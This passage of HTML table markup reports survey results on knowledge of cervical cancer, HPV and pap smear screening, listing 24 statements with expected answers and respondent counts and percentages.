style=\"font-size:10.0pt\">No</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">%</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">No</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">%</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">No</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">%</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1. Early diagnosis and treatment of cervical cancer is possible </span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">883</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">92,9</span></strong></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,3</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">64</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2. Every sexually active woman must have pap smear screening test</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">793</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">83,5</span></strong></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">132</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13,9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3. Bleeding in between cycles is an early symptom of cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">507</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">53,4</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">72</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">370</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38,9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4. Smoking is a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">628</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">66,1</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">63</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">259</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27,3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5. Cervical cancer and precancerous cells are not related with HPV</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">345</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36,3</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">86</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9,1</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">519</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">54,6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6. Poor nutrition and malnutrition are risk factors for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">368</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38,7</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">194</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20,4</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">388</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">40,8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7. Cervical cancer have begun to be observed at mid-thirties also</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">569</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">59,9</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">64</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,7</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">317</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33,4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8. Overweight/obesity are not risk factors for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">307</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32,3</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">186</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">457</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48,1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9. Pap smear test is performed for screening purposes</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">746</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">78,5</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">58</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,1</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">146</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15,4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10. Having more than one sexual partner is a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">729</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">76,7</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,4</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">189</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19,9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11. The long-term effects of HPV may lead to infertility </span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">420</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">44,2</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">53</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">477</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">50,2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12. Having a history of cancer in the family is not a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">637</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">67,1</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">107</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11,3</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">206</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21,7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13. Every woman is at equal risk in terms of contracting cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">513</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">54,0</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">269</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">28,3</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">168</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17,7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14. HPV infection is a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">595</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">62,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,0</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">336</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">35,4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15.HPV causes pain during sexual intercourse</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">72</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">382</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">40,2</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">496</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">52,2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16.Increase in the amount of vaginal discharge, change in its color are not early symptoms of cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">461</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48,5</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">162</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17,1</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">327</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">34,4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17. HPV is a sexually transmitted virus</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">645</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">67,9</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,2</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">283</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29,8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18.Use of oral contraceptive is not a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">215</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22,6</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">341</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">35,9</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">394</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">41,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19. Gynecological examination shall only be performed when a gynecological problem occurs</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">829</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">87,3</span></strong></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5,1</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">73</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7,7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20.Use of tampon is not a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">287</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30,1</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">183</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19,4</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">480</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">50,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21. First pregnancy at an early age (younger than 18 years old) is a risk factor for cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">456</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48,0</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">138</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14,5</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">356</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">37,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22. Pap smear screening shall only be performed when a gynecological problem occurs</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">776</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">81,7</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">57</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6,0</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">117</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12,3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23. Regular pap smear screening is necessary for preventing cervical cancer</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">754</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">79,4</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">41</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4,3</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">155</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16,3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24. No vaccine provides protection against HPV</span></p>\r\n			</td>\r\n			<td style=\"width:49.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">No</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">328</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">34,5</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">157</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16,5</span></p>\r\n			</td>\r\n			<td style=\"width:35.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">465</span></p>\r\n			</td>\r\n			<td style=\"width:35.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48,9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:193.55pt\">\r\n			<p 